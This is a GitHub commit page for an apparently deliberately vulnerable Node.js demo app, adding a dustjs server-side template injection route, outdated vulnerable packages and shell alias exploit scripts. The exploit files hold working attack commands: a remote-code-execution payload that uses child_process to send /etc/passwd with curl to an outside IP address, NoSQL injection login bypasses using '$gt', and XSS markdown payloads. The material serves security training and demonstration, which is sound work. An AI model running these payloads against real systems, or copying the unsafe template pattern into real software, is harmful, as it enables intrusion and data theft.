Skip to content

Commit 130e7dd

Browse files
authored
Merge pull request #100 from guypod/master
Add dustjs vulnerability and exploits
2 parents 69873d1 + f5e1e0b commit 130e7dd

File tree

9 files changed

+80
-13
lines changed

9 files changed

+80
-13
lines changed

app.js

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ var crypto = require('crypto');
1010
var express = require('express');
1111
var http = require('http');
1212
var path = require('path');
13-
var engine = require('ejs-locals');
13+
var ejsEngine = require('ejs-locals');
1414
var cookieParser = require('cookie-parser');
1515
var bodyParser = require('body-parser');
1616
var methodOverride = require('method-override');
@@ -19,13 +19,18 @@ var errorHandler = require('errorhandler');
1919
var optional = require('optional');
2020
var marked = require('marked');
2121
var fileUpload = require('express-fileupload');
22+
var dust = require('dustjs-linkedin');
23+
var dustHelpers = require('dustjs-helpers');
24+
var cons = require('consolidate');
2225

2326
var app = express();
2427
var routes = require('./routes');
2528

2629
// all environments
2730
app.set('port', process.env.PORT || 3001);
28-
app.engine('ejs', engine);
31+
app.engine('ejs', ejsEngine);
32+
app.engine('dust', cons.dust);
33+
cons.dust.helpers = dustHelpers;
2934
app.set('views', path.join(__dirname, 'views'));
3035
app.set('view engine', 'ejs');
3136
app.use(logger('dev'));
@@ -45,6 +50,7 @@ app.get('/destroy/:id', routes.destroy);
4550
app.get('/edit/:id', routes.edit);
4651
app.post('/update/:id', routes.update);
4752
app.post('/import', routes.import);
53+
app.get('/about_new', routes.about_new);
4854
// Static
4955
app.use(st({path: './public', url: '/public'}));
5056

exploits/dustjs-exploits.sh

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
if [ -z "$GOOF_HOST" ]; then
2+
export GOOF_HOST=http://localhost:3001
3+
fi
4+
5+
# Simple request
6+
alias dust1="curl $GOOF_HOST'/about_new?device=Desktop'"
7+
8+
# Request with array
9+
alias dust2="curl $GOOF_HOST'/about_new?device\[\]=Desktop'"
10+
11+
# Trigger error
12+
alias dust3="curl $GOOF_HOST'/about_new?device\[\]=Desktop%27'"
13+
14+
# Simple RCE, logs to console
15+
alias dust4="curl $GOOF_HOST'/about_new?device\[\]=Desktop%27-console.log(%27FrontendConf%20Was%20Here%27)-%27'"
16+
17+
alias dust5="curl $GOOF_HOST'/about_new?device\[\]=Desktop%27-require(%27child_process%27).exec(%27curl%20-m%203%20-F%20%22x%3D%60cat%20%2Fetc%2Fpasswd%60%22%20http%3A%2F%2F34.205.135.170%2F%27)-%27'"

exploits/exploit-aliases.sh

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,3 +3,5 @@
33
source mongoose-exploits.sh
44
source st-exploits.sh
55
source ms-exploits.sh
6+
source nosql-exploits.sh
7+
source dustjs-exploits.sh

exploits/marked-exploit.sh

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,10 +10,10 @@ This is **markdown**
1010
# Failed XSS
1111
[Gotcha](javascript:alert(1))
1212

13-
# Successfull XSS using vuln
13+
# Failed XSS despite URL encoding
1414
[Gotcha](javascript:alert(1))
1515

16-
# Successfull XSS using vuln
16+
# Successfull XSS using vuln and browser interpretation
1717
[Gotcha](javascript&#58this;alert(1))
1818

1919
# Most boasty exploit

exploits/nosql-exploits.sh

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
2+
if [ -z "$GOOF_HOST" ]; then
3+
export GOOF_HOST=http://localhost:3001
4+
fi
5+
6+
# Default working case - form fill
7+
alias ns1="echo -n 'username=admin&password=SuperSecretPassword' | http --form $GOOF_HOST/admin -v"
8+
9+
# JSON working login
10+
alias ns2='echo '"'"'{"username":"admin", "password":"SuperSecretPassword"}'"'"' | http --json $GOOF_HOST/admin -v'
11+
12+
# failed login
13+
alias ns3='echo '"'"'{"username":"admin", "password":"WrongPassword"}'"'"' | http --json $GOOF_HOST/admin -v'
14+
15+
# successful login, NOSQL Injection, knowing the username
16+
alias ns4='echo '"'"'{"username": "admin", "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/admin -v'
17+
18+
# successful login, NOSQL Injection, without knowing the username
19+
alias ns5='echo '"'"'{"username": {"$gt": ""}, "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/admin -v'
20+

exploits/nosql-injection.sh

Lines changed: 0 additions & 9 deletions
This file was deleted.

package.json

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,9 @@
1616
"body-parser": "1.9.0",
1717
"cfenv": "^1.0.4",
1818
"cookie-parser": "1.3.3",
19+
"consolidate": "0.14.5",
20+
"dustjs-linkedin": "2.5.0",
21+
"dustjs-helpers": "1.5.0",
1922
"ejs": "1.0.0",
2023
"ejs-locals": "1.0.2",
2124
"errorhandler": "1.2.0",

routes/index.js

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -194,3 +194,13 @@ exports.import = function (req, res, next) {
194194

195195
res.redirect('/');
196196
};
197+
198+
exports.about_new = function (req, res, next) {
199+
console.log(JSON.stringify(req.query));
200+
return res.render("about_new.dust",
201+
{
202+
title: 'Goof TODO',
203+
subhead: 'Vulnerabilities at their best',
204+
device: req.query.device
205+
});
206+
};

views/about_new.dust

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
<!DOCTYPE html>
2+
<html>
3+
4+
{@if cond="'{device}'=='Desktop'"}
5+
<body style="font-size: medium; text-align: center;">
6+
{:else}
7+
<body style="font-size: x-large; text-align: center;">
8+
{/if}
9+
10+
<h1 id="page-title">{title}</h1>
11+
<h2 id="page-title">{subhead}</h2>
12+
13+
<p>The BESTest todo app evar</p>
14+
15+
<div style="position:absolute; bottom:0;">Device string (debug): {device}</div>
16+
17+
</body>
18+
</html>

0 commit comments

Comments
 (0)